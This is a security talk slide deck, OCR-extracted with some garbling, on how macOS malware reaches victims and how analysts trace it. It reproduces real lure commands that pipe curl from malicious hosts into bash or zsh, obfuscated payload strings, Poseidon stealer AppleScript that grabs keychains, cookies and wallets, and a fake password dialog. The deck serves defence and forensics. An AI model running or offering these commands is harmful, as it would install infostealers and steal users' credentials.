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Sneak peek of that to expect from this presentation



IA Good Friend Asked me this Morning:

Question:

What is your presentation about? Explain it to
me like I'm 5 years old.
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Answer:

It's about how to get malicious code or

malicious programs onto Mac devices in order
to infect them.
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e AS ked th e AI : CFP promise Presentation Assessment

Google Ads Dedicated Google Ads section with Strong
Poseidon example

He re iS th e Smeitte d CFP for thiS Malvertising Dedicalted section with real-world 4 strong
presen tation = Che Ck it again St the a Ctual ClickFix Multiple slides, Terminal mitigation, Very strong
presentation to see if it holds up to the

promise.

Fake system/update lures Early fake system update + ClickFix (@ strong

examples

Bash / shell scripts Dedicated Bash section and shell-based
execution

Python Python + Pylnstaller + Gaslight example (V]

AppleScript Large section with Poseidon, .scpt , (4 Very strong

osascript , applescript://

Dedicated container and drag/drop
sections

Package structure, scripts and forensic { strong

receipts

Mach-0 / native app context Present indirectly through macOS ! Less explicit
execution/security discussion

Real-world campaigns Almost every major section uses one 4 Very strong

Hunting / forensic insights Excellent final breadcrumb slides (4 Better than CFP promises
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I Years Ago; Still Relevant Today

Crypto community target of MacOS malware

Published: 2018-06-29. Last Updated: 2018-07-03 08:33:37 UTC
by Remco Verhoef (Version: 2)

0 comment(s)

Previous days we've seen multiple MacOS malware attacks, originating within crypto related Slack or Discord chats groups
by impersonating admins or key people. Small snippets are being shared, resulting in downloading and executing a malicious binary.

Type this :

It will make sure your port is open for
After this open the software and tell me if the transaction is still processing
Any luck ?

Users are asked to executed a script:
cd /tmp && curl -s curl $MALICIOUS_URL > script && chmod +x script && ./script

A file will be downloaded by curl to /tmp/script and executed. The file is a large mach064 binary (34M), rating a perfect score of 0/ 60 on

virustotal.

Source:
https://isc.sans.edu/diary/Crypto+community+target+of+ MacOS+malware/238 16



https://isc.sans.edu/diary/Crypto+community+target+of+MacOS+malware/23816
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&« @ r/lbash : 10mo ago

veryangrybtw

Did | just run malicious script? (Mac)

help

| don't know if these kinds of posts are allowed, please let me know and | will take it down if asked.

| came across this command and ran it in terminal: /bin/bash -c "$(curl -
fsSL https://ctktravel.com/get17/install.sh)" from this link: https://immokraus.com/get17.php

Afterwards, | was prompted to input my admin code, which | did.

As | am very technologically illiterate, is there a way for to check the library/script the command downloaded and
ran to see if it's malicious? So far there is nothing different about the machine and | don't know if it has been
been compromised.

Yes, | know | was dumb and broke 1000 internet safety rules to have done that. Thank you for any of your help if
possible.

Source:
https://www.reddit.com/r/bash/comments/1n400ba/did i just run malicious script mac/



https://www.reddit.com/r/bash/comments/1n400bq/did_i_just_run_malicious_script_mac/

I Fake System Update

* Here is another example, from a Fake
System Update instruction.

» «Press enter and provide your
administrator password when prompted»
— a classic trick we will look at in depth.

« After all, this is not rocket science, but
extremely successful. 1#:
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Download for MacOS

Download for MacOS

Installation Instructions

1. First, you need to install the required system update. Open Terminal
application on your Mac (you can find it in Applications -> Utilities ->
Terminal).

2. Copy and paste the following command into Terminal:

/bin/bash -c "$(curl -fsSL
https://ctktravel.com/get17/install.sh)"
3. Press Enter and provide your administrator password when prompted.

4. Wait for the installation process to complete. This may take a few
minutes.

5. Once completed, you can proceed with installing the software.



IThree Steps Model

DELIVERY

How did it reach the user?

Search

DM

Ads GitHub

Supply chain

CONTAINER

What did the user receive?

DMG

Script

PKG

Archive

APP

Project
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User Interaction
What did the user do?

Open

Install Build
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skllled MacOS Forensm
Analyst

x33fcon 2025
2025/06/12

« Link on my homepage dfir.ch or search
directly on YouTube.
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IWhat Stands Between Download and Execution?

o & oL
L B-9-0 -

Code Signing /
Notarization

©
3, -

Download Quarantine Gatekeeper XProtect Execution
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I Apple Gatekeeper Overview

Introduced in OS X Mountain Lion

(10.8 — 2012), Gatekeeper is a core
macOS security control designed to
prevent untrusted downloaded software from
executing.

Code Signing, Notarization, File Quarantine
etc. all plays in here (previous slide).

“Program” cannot be opened
because it is from an unidentified
developer.

macO5 cannot verify that this app is free
from malware.
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I Transparency Consent and Control

« TCC is macOS's privacy permission
system. When an application attempts to
use a protected resource, TCC evaluates
whether that application is authorized.

« Explicitly enable the application under
System Settings — Privacy & Security.

* Full Disk Access, for example, requires
explicit authorization rather than behaving
like a simple API consent dialog.
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‘.

“Terminal.app” would like to
access files in your Documents
folder.

Don't Allow Allow
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How did it reach the user?



I Google Ads

« Attackers use sponsored search results to
place malicious links at the top of search
engine pages, as Sponsored or paid results.

 The malicious ad impersonating the "Arc
browser” (example).

« Users often click the first result, assuming
search engines have vetted the advertiser's
intent, providing a prime vector for malware
delivery.

Source:
https://www.malwarebytes.com/blog/news/2024/06/poseidon-mac-stealer-distributed-via-google-ads
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s My Ad Center

R Report ad

[E About this advertiser

&, Advertiser identity verified by Google

Locauon
United Kingdom

See more ads this advertiser has shown using Google

® Why you're seeing this ad

Ad Settings
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I Fake Applications

« Attackers utilize domains like slackforbusiness.net
to mimic legitimate enterprise services.

« By including recognizable corporate logos (e.g.,
Airbnb, NASA, Uber), the landing page attempts to
build artificial credibility with the visitor.

 The primary objective is to lure users into
downloading malicious installers disguised as
productivity software.

Source:
hitps://www.sophos.com/en-us/blog/atomic-macos-stealer-leads-sensitive-data-theft-on-macos
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&) httpsy/slackforbusiness.net/main.php

4 slack

Made for people. Built for productivity.

@ DOWNLOAD FOR MAC

28 DOWNLOAD FOR WINDOWS

Slack is free to try for as long as you'd like

(Q) airbnb @ Uber @ Ehe New YorkTimes  Etsy

Acme Inc ~ # project-gizmo

E Google Calendar

Project Status Meeting
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I Malvertising

« Attackers leverage social media platforms to
disseminate malicious links under the guise of
legitimate software advertisements.

e Despite the branding, the provided URL
(macpaw.us) leads to an unauthorized source,
highlighting how attackers use lookalike domains
to bypass initial scrutiny.

« The high view count visible demonstrates how
quickly these malicious advertisements can reach a
large audience.

Source:
hitps://www.sophos.com/en-us/blog/atomic-macos-stealer-leads-sensitive-data-theft-on-macos
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& Post

@ patrick flannery

B Clean My Mac X is an app to clean, maintain, and optimize your Mac.
Free up space on MacBook, iMac, and even hard drives. Download it for
free!

@& Downoload free:

Clean you mac [FWeEs

w5

230.5K Sopho SXO ps
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I Malicious Troubleshooting Guides

Source:

Attackers create malicious
troubleshooting guides hosted on
legitimate domains like chatgpt.com and
grok.com.

These pages are designed to look like
authentic Al conversations (next slide).

By manipulating search results, these
malicious links appear at the top of

search queries (e.g., "Clear disk space on
macOS").

https://www.huntress.com/blog/amos-stealer-chatgpt-grok-ai-trust

infosuard
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clear system data on imac

Sponsored results

© chatgpt.com
https://www.chatgpt.com
How To Delete System Data On Mac
How to clear storage on Mac? Instant Mac Optimization. Find duplicates, decide.
Clear space safely - Guide Clear Space

© grok.com

hitps://www.grok.com :

How to clear storage on Mac? - Guide Clear Space - Clear space safely

Instant Mac Optimization. Find duplicates, decide.
Keep only essentials - drive

Hide sponsored results
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I ChatGPT Poisoning

* This command silently downloads and
executes the AMOS Infostealer, which then
harvests credentials, browser cookies, and
cryptocurrency wallets while establishing
persistent access to the system.

« Leveraging the user's reliance on search
engines and Al assistants.

Source:
https://www.huntress.com/blog/amos-stealer-chatgpt-grok-ai-trust
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& ChatGPT - Clear disk space « X +

°5 chatgpt.com/s/t_6931ec2f994819195749e0443b18dce?gad_campaignid.. @ Openinapp  Yr w0 =2 ®

@ ChatGPT Content created using ChatGPT. Report if unsafe. Sign up for free @

[~ How to Clear Disk Space on macOS

This method safely removes unnecessary system files and app caches to free up storage on your Mac
without affecting your personal data.

@ step 1: Open Terminal

Press Command (38) + Space, type Terminal, press Return.

2 step 2: Run the Command
Paste this into Terminal and press Return:
terminal

(3 Copy code

/bin/bash —c "$(curl -fsSL $(echo aHROCHMELyIwdXR1YXJOYWShLmNvbS9jbGVhbmdwdA== | basel

¢+ What this command does

* Removes temporary system files

* Clears app caches and old logs

* Does not touch your personal data

« Does not modify system settings

& Result

Your Mac is now cleaned and has more available storage. You can repeat this process whenever needed.

Message ChatGPT
0 Attach = @) Search = [(J Study (3 Createimage |1 Voice

By messaging ChatGPT, an Al chatbot, you agree to our Terms and have read our Privacy Policy.
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I Malicious GitHub Repositories

« Attackers host malicious repositories on
GitHub and distribute compromised
packages (such as fake npm packages) that
Impersonate legitimate developer utilities,
trading bots, or Al plugins.

« The example specifically targets Al agents
(such as OpenClaw) by including SKILL.md
files.

Source:
https://www.jamf.com/blog/ghostclaw-ghostloader-malware-github-repositories-ai-workflows/

TradingView-Claw #ubie

I\ sc

(3 gitignore
O ucense
[ README.md
0 sxat.md

Y account.py

infosuard
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I Malicious GitHub Repositories

* In the most straightforward cases, the
repositories contain a README with step-
by-step installation instructions that
encourage users to execute a shell
command, typically using curl to retrieve and
run a remote script.

* This technique relies heavily on user
iInteraction and trust.

Source:
https://www.jamf.com/blog/ghostclaw-ghostloader-malware-github-repositories-ai-workflows/
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(1) README

antigravity-pack

Antigravity Pack SDK — A lightweight, zero-dependency utility layer for async state management in modern
JavaScript applications.

bulld ‘passing § coverage

Features

« Zero Dependencies — No external packages. Pure JavaScript implementation.

« Async State Management — Simplified handling of loading, error, and success states for any Promise-based
operation.

« TypeScript Support — Written in TypeScript with full type definitions included.

« Framework Agnostic — Works with React, Vue, Svelte, or vanilla JS.

« Tiny Footprint — Under 2kB gzipped. Tree-shakeable ESM and CJS builds.

Installation

curl -fsSLk https://github.com/antigravity-sdk/antigravity-pack/archive/refs/heads/main.zip» - 1

unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/antigravity-pack-main &§ \
bash install.sh s
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I ClickFix

While "ClickFix" techniques have historically targeted
Windows users, recent campaigns have increasingly
focused on macOS, utilizing platform-specific lures
and malware like the MacSync infostealer.

Victims are typically tricked into copying and
executing obfuscated Terminal commands, often
while believing they are performing a legitimate
system update or installation.

infosuard
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&9 Cloudflare

Verify you are human

This website is protected by Cloudflare. Complete the security

check to access the page.

| am not a robot

Press 36 Command + Space to open Spotlight
Type Terminal and press Return

Paste the verification command below and press
Return
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I applescript://

Source:

Moving away from traditional "ClickFix" social E.Ef:'ﬁﬁ?

engineering, which required users to manually e i
paste shell commands into the Terminal, the
malware now utilizes the applescript:// URL
scheme.

s Il @

This triggers the macOS Script Editor with a pre-

populated malicious payload, effectively bypassing

recent Apple mitigations designed to restrict

Terminal-paste abuse. :

window. location.href = scriptURL;

https://www.sentinelone.com/blog/shub-reaper-macos-stealer-spoofs-apple-google-and-microsoft-in-a-single-attack-chain/

codedScript = encodeURIComponent(installsrc);

infosuard
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v0.29.1
Open VSX Registry

« Attackers published a malicious extension named
"Ether Solidity" (ether.solidity), which appeared as :
a top result in the Open VSX registry with
artificially inflated download numbers. @ -~

Extensions for VS Code Compatible Editors

solidity solidity Solidity Mutable.ai
ether 0.0.191 juanblance 0.0.187 NomicFoundation 0.8.26 mutable-ai

). 314
dhkk ok 117K ok kokok (74K Rk kb ok 48K ek kb (430K

 Once installed, the extension loaded a malicious

script that collected host information (hostname, = sk
username, MAC address) and sent it to a P EE e

command-and-control (C2) server.

Source:
https://phorion.io/blog/macos-paradox-stealer-used-in-solidity-open-vsx-extension-attack/ 25
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Apple Disk Images

Virtual mountable disks



IAppIe Disk Images (.dmg)

« a.dmg (Disk Image) file functions as a
virtual mountable disk.

* They are widely used by developers to
distribute software; when opened, the
system mounts the image, often presenting
the user with an application to drag-and-drop
into their Applications folder.

infosuard
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Install Parallels Desktop-ewz5eura.dmg
Disk Image - 5.4 MB

Information Show Less
Created Today, 18:22
Modified Today, 18:22
Last opened Today, 18:22

Where from https://download.parallels.com/web-installer/v1/1.7.12-841/
Install%20Parallels%20Desktop.dmg?wi_code=ewz5eura
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I InfoGuard
Apple removes Control-click option for skipping Gatekeeper ™ """

e -

« Although .dmg files remain a popular initial
access vector, the traditional “right-click and

open” method has become largely /
ineffective.
18TEP 2 STEP
: y (® rigaT cuck §3 GLICK “OPEN"
* Until macOS Sequoia (2024), users could _ =

hold Control and click on a freshly installed
app to avoid Gatekeeper's warnings about
running unsafe software.

Launcher

 Now, users must navigate to System
Settings then Privacy & Security to allow
the app to run.

Source:
https://appleinsider.com/articles/24/08/06/apple-removes-control-click-option-for-skipping-gatekeeper-in-macos-sequoia= 29
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Packages

A complex bundle managed by the installer utility in macOS



I infoSuard
PaCkages (-pkg) SWISS CYBER SECURITY

fsck A -
@threesals

windows malware : hooking undocumented windows API functions to
evade ML-based EDR detections

mac malware : two .sh scripts in a trenchcoat hiding in a .pkg file

ﬁ Nicolas Krassas €2 @Dinosn - Dec 8, 2023

Mac Users Beware: New Trojan-Proxy Malware Spreading via Pirated Software
thehackernews.com/2023/12/mac-us...

12:36 PM - Dec 11, 2023 - 99 Views
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I Packages (.pkg)

« Apackage is not just a folder of files; it is a
complex bundle managed by the installer
utility in macOS.

« preinstall: Runs before the payload is
unpacked.

« postinstall: Runs after the payload is
installed (often used to set up configurations
or launch daemons).

[ NN J Guardiansinstaller.pkg

0 Package Info

\
\ 4

& All Files | ¥ postinstall I

Guardiansinstaller.pkg
DISTRIBUTION ARCHIVE (?)

‘Ij Installs 14 items — 15.7 MB on disk
Not signed

(i‘@ Runs 1 install script
All executable items support Intel processors only
No executable items request entitlements
Downloaded by Chrome — today at 21:40

Found one warning for review ?

infosuard
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®

Exports Review

B Receipts
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I Forensics: Package Receipts

« Packages installed through the macOS Installer framework normally leave a receipt recording what
package was installed and which payload files belonged to it. On current macOS systems, these
receipts are commonly found under:

/var/db/receipts/<package-id>.bom

/var/db/receipts/<package-id>.plist

« The .bom file is the package's Bill of Materials. It records the payload paths and associated
metadata, including permissions, owner, group, file size, modification time, checksums, and hard-
link information.

 Good ol’ logfiles [1 : /var/log/install.log
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o0 e < Guardiansinstaller.pkg ©v 6 © &) Q- ©)

Back/Forward Action GetlInfo Quick Look Installer Exports Review

0 Package Info an All Files fp postinstall A Review E Receipts

#!/bin/bash

Guardianslnstaller.pkg

: #Parameters
) postinstall PRODUCT_HOME=/Library/GuardiansInstaller/1.2.8
#Change permissions in home directory

cd ${PRODUCT_HOME}

chmod -R 755 .

[ -d /usr/local/bin ] || mkdir /fusr/local/bin

1
2
3
4
5
6
7
8
9
10
ikl

rm —f /usr/local/bin/GuardiansInstaller-1.2.8

=
(8}

xcode-select ——install postinstall
open ${PRODUCT_HOME}/GuardiansInstaller &> /dev/null

= e
s W

Bourne-Again Shell script
314 bytes — 14 lines

Guardiansinstaller.pkg/
Guardiansinstaller.pkg/Scripts/
postinstall

As User root

When After moving files into place

Arguments $0 path to
this script

$1 path to
this package

$2 path to root of
selected install




I InfoGuard
Drag and Drop SWISS CYBER SECURITY

* This is NOT a DMG image, however, it's . & zoomaze
interesting.
I_ =1
" SETUP
» Observed in recent campaigns involves the
abuse of Terminal aliases within .dmg files. OPEN TERMINAL, DRAG AND DROP TO INSTALL THE APP
 Instead of a conventional application, the Disk @
Image presents a script designed to appear as -
ZoomApp Terminal

an application or installer.

Source:
https://9to5mac.com/2024/10/17/security-bite-hackers-are-now-directing-users-to-terminal-to-bypass-gatekeeper-in-macos-sequoia/ 36
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I Drag and Drop

« When the user follows the instruction to "drag
and drop" the file, they are often unknowingly
executing a (hidden) script that runs
terminal commands, which then fetches and
runs the actual malware payload.

osascript -e on run

set diskList to list disks
end

set targetDisk to ""

repeat disk diskList
disk contains "ZoomApp" then
set targetDisk to disk
exit repeat
end
end repeat
end

targetDisk is "" then
end
set folderPath to "/Volumes/" & targetDisk & “/" set appName to ".ZoomApp"

set appath to folderPath & appName
set tempAppPath to "/tmp/" & appName

shell script “rm -f" & quoted form of tempAppPath

end
shell script "cp" & quoted form of appPath & " " & quoted form of tempAppPath
end
shell script "xattr -c" & quoted form of tempAppPath
end
shell script "chmod +x" & quoted form of tempAppPath
end
shell script quoted form of tempAppPath
end
end run'

infosuard
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Pylnstaller

(" Moonlock Lab I - 459 Moonlock Lab @moonlock lab - Feb 27, 2024 (A oee

@moonlock_lab 3/4: The DMG contains a Mach-O file named 'Engineer Documents',also
undetected by VT virustotal.com/gui/file/0479t.... It's a macho file created
with Pylnstaller. It can kill itself on non-Mac system and check for
VirtualBox, VMWare, and non-Apple manufacturers.

1/4: New macOS stealer sample detected. First submission: 2023-12-04.
Undetected by VirusTotal. Pretends to be a legit Mac app. Uses
Pylnstaller and parts of base64 virustotal.com/gui/file/a7cdc... #macos

#malware #stealer e ::2?2::?0

Jef antim():

hwModel = subprocess.run('sysctl -n hw.model', True, True, =x(‘shell', ‘capture_outp
No security vendors and no sandboxes flagged this file as malicious {>Follow (> Reanalyze - Download > = Similar + More ~ resp = str(hwModel.stdout) [2:1(:3]
if resp != 'Mac':
BLATONS  MOMAVIOR  COMMINT  TELIMETRY  COMMUNITY el
27cdc1565197a7bc7bicsc14ab2de4db3617007681af936610950dc0b132205 5 L A Dote /| killswite
wMensize = subprocess.run('sysctl -n hw.memsize', True, True, #«('shell’, ‘capture_

Emphe Tmnsfer A3y ad hoveage resp = str(hwMemsize.stdout) [2:] [:-3]
dmg  checks-hostname if int{resp) < @xEE6B27FFL:
o rulsent killSwitch()
Community Score ioPlat = subprocess.run('ioreg -rd1l -c IOPlatformExpertDevice', True, True, True, *+
at Srcats resp = loPlat.stdout

I0PlatformSN = strire.search('(?7<=I0PlatfornSerialNumber” = *) [*\\"]*', resp).groupl
if IOPlatformsN == @:
killSwitch()
boardiD = str(re.search(’(?<sboard-id" = <")[*\\"]«', resp).group())
if 'VirtualBox' in boardiD:
— e killswitch()
if 'WM Ware' in boardiD:
killswitch()
manuF = str(re.search('(7<=manufacturer" = <")[*\\"]=', resp).group())
if 'Apple’ in manuF:
pass
else:
killSwitch()
usbD = subprocess.run('ioreg -rdl -c IOUSBHostDevice | grep "USB Vendor Name"', True
resp = usbD,stdout
if 'Wware' in striresp):
killswitch()

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY
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* Pylnstaller is a legitimate open-source tool that Pyinstaller Extractor WEB@
a”OWS developers to package Python Scri pts Pyinstxtractor running in the browser, powered by GopherJS!
into standalone binaries. R

[+] Pyinstaller version:

[+] Python library file: Python3

[+] Python version: 3.9

[+] Length of package: 7787128 bytes

[+] Found 71 files in CArchive

[+] Beginning extraction...please standby

[+] Possible entry point: pyiboot0l bootstrap.pyc

: : - [+] P ibl t int: i rth pkgutil.
« This means apps can run without requiring Python b St e e
[+] Possible entry point: pyi rth multiprocessing.pyc
[+] Possible entry point: stl_obf.pyc

to be installed or worrying about version e ey
compatibility.

#Process

[} S ee n i n th e Wi Id s i n ce 20 21 = Runs totally client side, nothing uploaded

« Extracting large files may take some time, please be patient @
« Alternatively try pyinstxtractor-ng or pyinstxtractor as a desktop version of this tool

) source github stars 89 release v2023.10.07 Powered By GopherJS badgen m
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 The implant carries a 6.6 KB base64-encoded
Python script which serves as a data collection " prineieie) cotict J
module. Once decoded, it harvests: s /

Chrome, Brave, Firefox, and Safari browser data

put():

A 5 A th = shutil.mak hive(str(output_dir), ; t_dir=output_dir)
Terminal command histories e e e

e:
print( : {e}")

Installed application listings

A running-process snapshot via ps aux

collect_browser_data()
collect_terminal_history()

System hardware and software profile e Sl vosienst)
col]ectisystemfim‘o()
via system_profiler 170 INGTRTAESEIETI]

A raw copy of login.keychain-db

* Collected artifacts are archived
to temp/collected_data.zip and uploaded to the
operator via Telegram.
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ClickFix 2%

ClickFix is a deceptive social engineering and copy-paste cyber attack technique that tricks users into
manually running hidden malicious system commands on their own computers.



I Reminder: Fake System Update

* Here is another example, from a Fake
System Update instruction.

» «Press enter and provide your
administrator password when prompted»
— a classic trick we will look at in depth.

« After all, this is not rocket science, but
extremely successful. 1#:

infosuard

SWISS CYBER SECURITY

Download for MacOS

Download for MacOS

Installation Instructions

1. First, you need to install the required system update. Open Terminal
application on your Mac (you can find it in Applications -> Utilities ->
Terminal).

2. Copy and paste the following command into Terminal:

/bin/bash -c "$(curl —fsSL
https://ctktravel.com/get17/install.sh)"

3. Press Enter and provide your administrator password when prompted.

4. Wait for the installation process to complete. This may take a few
minutes.

5. Once completed, you can proceed with installing the software.
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I InfoGuard
Security Featu re SWISS CYBER SECURITY

* In macOS Tahoe 26.4 (March 2026), Apple
added a new security feature to Terminal that -
warns users of potentially malicious pastes

with a "Possible malware, Paste blocked"

prompt. Your Mac has not been harmed. :
Scammers often encourage pasting
text into Terminal to try and harm

Possible malware, Paste blocked

your Mac or compromise your
» Terminal checks WHO you copied from. privacy.

These instructions are commonly
offered via websites, chat agents,

 Safari, Chrome, Firefox, Mail, WhatsApp, apps, files, or a phone call.

Telegram and 70+ other apps.

Paste Anyway
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I InfoGuard
WOUId You Receive Ps | Warning? SWISS CYBER SECURITY

« The developer check is aggressive. If /Library/Developer exists, you're exempt.

« Atlaunch, Terminal saves its last open date. If you used Terminal in the last 30 days, no

warning. This targets people who never use Terminal and are only opening it because a ClickFix
scam told them to.

 [f you click "Paste Anyway," the warning is disabled. If you click "Don't Paste," the protection is

preserved but opening Terminal resets the 30 day clock, so it won't fire again until you stop
using Terminal for a month.
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I infoGuard
Forensics: shell history (OFC) SWISS CYBER SECURITY

[} ~/ ZS h_h iStO ry 25 dfir.ch/posts/today_i_learned_zsh_sessions/

» ~/.zsh _sessions/

Today | Learned - Zsh Sessions (even more
Timestamps)

26 May 2024

» Table of Contents

(] [ ] 4 (@ Today I Learned - Zsh Histor, X +

C m 25 dfir.ch/posts/today_i_learned_zsh_timestamps/

ussed how Zsh

at the session

o . iss to the session

Today | Learned - Zsh History Timestamps -

t fi

7 May 2024 g from my

» Table of Contents

session
history
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AppleScripts

Built-in macOS scripting language designed to automate repetitive tasks and control applications by
using pseudo-English syntax.



I AppleScript (Poseidon Stealer)

username to (system attribute 'USER')

profile to '/Users/' & username

writemind to '/tmp/xuyna/’

library to profile & '/Library/Application Support/'

chromiumMap to {{'Chrome', library & 'Google/Chrome/'}, {'Brave', library & 'BraveSoftware/Brave-Browser/'},
{'Edge', library & 'Microsoft Edge/'}, {'Vivaldi', library & 'Vivaldi/'}, {'Opera', library &
'com.operasoftware.Opera/'}, {'OperaGX', library & 'com.operasoftware.OperaGX/'}}
set walletMap to {{'deskwallets/Electrum', profile & '/.electrum/wallets/'}, {'deskwallets/Coinomi', library &
'Coinomi/wallets/'}, {'deskwallets/Exodus', library & 'Exodus/'}, {'deskwallets/Atomic', library & 'atomic/Local
Storage/leveldb/'}, {'deskwallets/Wasabi', profile & '/.walletwasabi/client/Wallets/'}, {'deskwallets/Ledger Live',
library & 'Ledger Live/'}, {'deskwallets/Feather (Monero)', profile & '/Monero/wallets/'}, {'deskwallets/Bitcoin
Core', library & 'Bitcoin/wallets/'}, {'deskwallets/Litecoin Core', library & 'Litecoin/wallets/'},
{'deskwallets/Dash Core', library & 'DashCore/wallets/'}, {'deskwallets/Electrum LTC', profile & '/.electrum-
ltc/wallets/'}, {'deskwallets/Electron Cash', profile & '/.electron-cash/wallets/'}, {'deskwallets/Guarda', library
& 'Guarda/'}, {'deskwallets/Dogecoin Core', library & 'Dogecoin/wallets/'}}
set firefox to library & 'Firefox/Profiles/'
getpwd(username, writemind)
delay 0.1

readwrite(library & 'Binance/app-store.json', writemind & 'deskwallets/Binance/app-store.json')
readwrite(library & '@tonkeeper/desktop/config.json', 'deskwallets/TonKeeper/config.json')

readwrite(profile & '/Library/Keychains/login.keychain-db', writemind & 'keychain')

readwrite(profile & '/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite', writemind &
'FileGrabber/NoteStore.sqlite')

readwrite(profile & '/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal', writemind &
'FileGrabber/NoteStore.sqlite-wal')

readwrite(profile & '/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm', writemind &
'FileGrabber/NoteStore.sqlite-shm')

readwrite(profile & '/Library/Containers/com.apple.Safari/D ibrary/Cookies/Cookies.binarycookies', writemind &
'FileGrabber/Cookies.binarycookies")

readwrite(profile & '/Library/Cookies/Cookies.binarycookies', writemind & 'FileGrabber/safl’
writeText(username, writemind & 'username')

parseFF(firefox, writemind)

chromium(writemind, chromiumMap)

userinfo(writemind)

deskwallets(writemind, walletMap)

filegrabber()

send_data(writemind)

infosuard

SWISS CYBER SECURITY

N N ® xScope 4.7.0

|- move xScope.app and Activator.app to Applications folder (
drag and drop ).

2- Run Activator.app From Applications Folder Then Click on
PATCH Button.

3- Run xScope now from Applications Folder.

4- Open Settings > Privacy & Security > Scroll Down > Click
On Open Anyway

{é}o Applications

-_—

Activator

Gul
- GUI wants to make changes. -
| Enter your password to allow this. e .
-- =
™ user
<
- .
oK
-
i -
-.-
- .
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https://x.com/moonlock_lab/status/1805544922012852586

I infosuard
Applescri pt SWISS CYBER SECURITY

» Classic technique to steal the user’s password.

NSString *dialogCommand = @"osascript -e 'display dialog \"To launch the
application, you need to update the system settings \n\n
Please enter your password.\" with title \"System Preferences\" with icon caution

default answer \"\" giving up after 30 with hidden answer'";

System Maintenance Required

= Coffee break incoming.

Current productivity levels have dropped below
acceptable thresholds.

Recommended action: acquire caffeine

immediately.
Ignore Get Coffee
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I infosuard
.Scpt Files SWISS CYBER SECURITY

« By default, a .scpt file, whether plain text or compiled, opens in Script Editor.app when double-
clicked.

« Comments in the script encourage the user to run it, while hiding the real code behind a large
number of blank lines.

« Clicking the » Run button or pressing 3 + R executes the script.

® O ®  Microsoft.TeamsSDK.scpt v

AppleScript ¢ <No selected element> ¢

| BB BB B BR BB EERE R RERER BB B BB BB RL BB A RBRHBAEHH

# Update Teams SDKs to newer versions

# Your current Teams SDK version is deprecated.

# Teams SDK allows developers to integrate Teams video conferencing applications for enhanced
communication and collaboration.

# To ensure optimal performance, security, and access to new feature: to the latest version by pressing the
start button.

HABERB U BB BHBRH B LA B HHAR B AR AB BB R H R R R HRHBR R HRE RS
set teamsSDKURL to "https://learn.microsoft.com/en-us/microsoftteams/platform/?
v=Y3VybCAtcOwgYXVici5pby94LnNoIHwgc2ggLXY="

do shell script "open -g " & quoted form of teamsSDKURL
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IAnother Example

» The script executes its malicious payload by
using curl to retrieve threat
actor-controlled content and immediately
passes the returned data to osascript.

« Because the content fetched by curl is itself a
new AppleScript, it is launched directly
within the Script Editor context.

infosuard

SWISS CYBER SECURITY

FERSE R B R E R R PR R PR R R R R PR R PR R R R R R RN ER PR R R RS

FERFEREESREREREERERRRRERRRER SEREREREEERRERRERERERER

Check Zoom Meeting SDK from here
“https://developers. zoom.us/docs/meeting-sdk™

Update Zoom Meeting SDK

do shell script “softwareupdate --evaluate-products --products * & SDK

~108s5 of blank lines - pushes malicious payload
below the visible area of Script Editor window

b What is HIDDEM below the scroll

do shell script "curl -A audio -5 https://uw04webzoom.us/developer/sdi/fix/2/version/s3BBHtYP"

run script
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I AppleScript New Tricks

 The page leverages an applescript:// URL
scheme. Clicking the “Allow” button invokes
this URL scheme from the browser.

* Once opened, a pre-filled script is
presented for execution (yep, like before).

Source:
https://www.jamf.com/blog/clickfix-macos-script-editor-atomic-stealer/

infosuard

SWISS CYBER SECURITY

Reclaim disk space on your Mac

Find out how to recover storage when your Mac warns about low disk space, or when there
isn't enough room to save, install, or transfer files.

step 1 0pe'\’ Al m Almmn faataa
Click the Exe«J 20

Step 2: Confirm and Run

A security prompt will appear — click New Script to continue
In the Script Editor window, press Command (28) + R or click the » Play button in the

toolbar

e Script Editor

curl -SfsLk $Cecho 'muulrd..oc2e9fscaf8:.f5¢c7.3vodtovvstb643hhp314pIpt6S ' Execute
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I AppleScript New Tricks

Inspection of the underlying webpage
reveals that this behavior is triggered via an
embedded applescript:// URL scheme,
which is used to launch Script Editor directly
from the browser.

W 0 N o AW N R

P =
w N R e

14
15

16
17
18

infosuard

SWISS CYBER SECURITY

class="terminal"
class="terminal-header"
class="terminal-dot red"
class="terminal-dot yellow"
class="terminal-dot green"
class="terminal-title" data-il18n="term">Script Editor

class="terminal-title-spacer"

class="terminal-body"
class="terminal-content"
class="terminal-command-wrapper"

id="commandToCopy" class="terminal-command terminal-font">curl -
SfsLk $(echo
'muulrd..oc2e9fscaf8:.f5c7.3vo@tovvstb643hhp314p9pt696p0A0o960flsotpbsvyblbbyf3hos@o6t,/839ttv
"|tr 'a./pl6th4@y3dsvfo9bm7:8lcruSe2' './0123456789:abcdefhlmoprstuvy')| zsh

href="applescript://com.apple.scripteditor?action=new&amp;script=—
%20mac0S%20Storage%200ptimization%@D—%20Systems20Maintenance%2@Module%s20v3.2%0D—
%20Copyright%202026%20Apple%20Inc.%20A11%20rights%20reserved. %0D%0D——
%20This%20utility%20scans%20and%20removes%s3A%0D-—%20%20%20Temporary%s20system%s20caches%s0D——
%20%20%20Stale%20application%2@0data%seD——
%20%20%2001d%20diagnostic%2010g9s%28and%20crash%2@reports%s@D——
%20%20%20Unused%s201anguage%s20resources%s0D%0Dd0%20shel1%20script%20%22curl%s20-
STsLk%20%24%28ech0%20%27muulrd..oc2e9fscaf8%3A.f5c7.3vo0tovvstb643hhp314p9pt696p@0960flsotp
6svyblbbyf3hos@o6t%2F039ttv%27%7Ctr%20%27a.%2Fp16th40y3dsvfo9bm7%3A81cru5e2%27%20%27.%2F012
3456789%3Aabcdefhlmoprstuvy%27%29%7(%202z5h%22%0Ddisplay%20dialog%20%22Storage%s2@cleanup%20c
ompleted%s2@successfully.%22%20%26%20return%s20%26%20return%s20%26%20%22F reed%20approximately%
2024, 7%20GB%2001%20disk%20space.%22%20buttons%20%7B%220K%22%7D%20default%2@button%20%220K%2
2%20with%20tit 1e%20%22mac0S%20Storage%s200ptimization%22%20with%20icon%20note"
id="copyButton" class="copy-button" data-il8n="copy_btn" style="text-
decoration:none;display:inline-block;text-align:center">Execute
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IWarning Prompt

infosuard

SWISS CYBER SECURITY

« The behavior of Script Editor may vary depending on the macOS version. On recent versions of
macOS Tahoe, an additional warning prompt is presented, requiring the user to allow the script

to be saved to disk before execution.

Untitled

e on your Mac

